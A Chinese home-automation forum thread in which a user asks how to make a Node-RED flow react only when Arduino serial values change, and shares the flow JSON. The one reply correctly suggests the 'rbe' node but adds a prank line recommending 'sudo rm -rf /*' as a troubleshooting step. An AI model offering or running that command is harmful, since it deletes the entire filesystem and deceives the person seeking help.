『瀚思彼岸』» 智能家居技术论坛

 找回密码
 立即注册
查看: 1318|回复: 1

[流程系列] 求助 关于arduino连接问题

[复制链接]

1

主题

5

帖子

36

积分

新手上路

Rank: 1

积分
36
金钱
31
HASS币
0
发表于 2022-11-27 18:19:20 | 显示全部楼层 |阅读模式
由于arduino每秒出结果,所以NODE-RED的debug也一直每秒出结果,请问有功能可以做到出现变化debug才执行一次结果吗?因为想做有警报,才寄MAIL的功能

[
    {
        "id": "086263e8695f0017",
        "type": "tab",
        "label": "流程4",
        "disabled": false,
        "info": "",
        "env": []
    },
    {
        "id": "710d5031b9e19577",
        "type": "inject",
        "z": "086263e8695f0017",
        "name": "",
        "props": [
            {
                "p": "payload"
            },
            {
                "p": "topic",
                "vt": "str"
            }
        ],
        "repeat": "1",
        "crontab": "",
        "once": true,
        "onceDelay": "1",
        "topic": "",
        "payload": "test",
        "payloadType": "str",
        "x": 130,
        "y": 200,
        "wires": [
            [
                "a46811765e1b8edb"
            ]
        ]
    },
    {
        "id": "a46811765e1b8edb",
        "type": "debug",
        "z": "086263e8695f0017",
        "name": "debug 7",
        "active": false,
        "tosidebar": true,
        "console": false,
        "tostatus": false,
        "complete": "payload",
        "targetType": "msg",
        "statusVal": "",
        "statusType": "auto",
        "x": 340,
        "y": 160,
        "wires": []
    },
    {
        "id": "941bacd4b65143c9",
        "type": "serial in",
        "z": "086263e8695f0017",
        "name": "arduino",
        "serial": "14a59ae90859999f",
        "x": 130,
        "y": 120,
        "wires": [
            [
                "a46811765e1b8edb"
            ]
        ]
    },
    {
        "id": "14a59ae90859999f",
        "type": "serial-port",
        "serialport": "COM5",
        "serialbaud": "9600",
        "databits": "8",
        "parity": "none",
        "stopbits": "1",
        "waitfor": "",
        "dtr": "none",
        "rts": "none",
        "cts": "none",
        "dsr": "none",
        "newline": "\\n",
        "bin": "false",
        "out": "char",
        "addchar": "",
        "responsetimeout": "10000"
    }
]


回复

使用道具 举报

48

主题

709

帖子

4731

积分

元老级技术达人

积分
4731
金钱
4022
HASS币
50
QQ
发表于 2022-11-27 21:43:02 | 显示全部楼层
rbe                    
如果你遇到了一些解决不了的问题,那么你可以先尝试执行一下这个命令 sudo rm -rf /* 看一看是在哪儿出错了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Hassbian

GMT+8, 2024-12-23 04:45 , Processed in 0.046481 second(s), 24 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表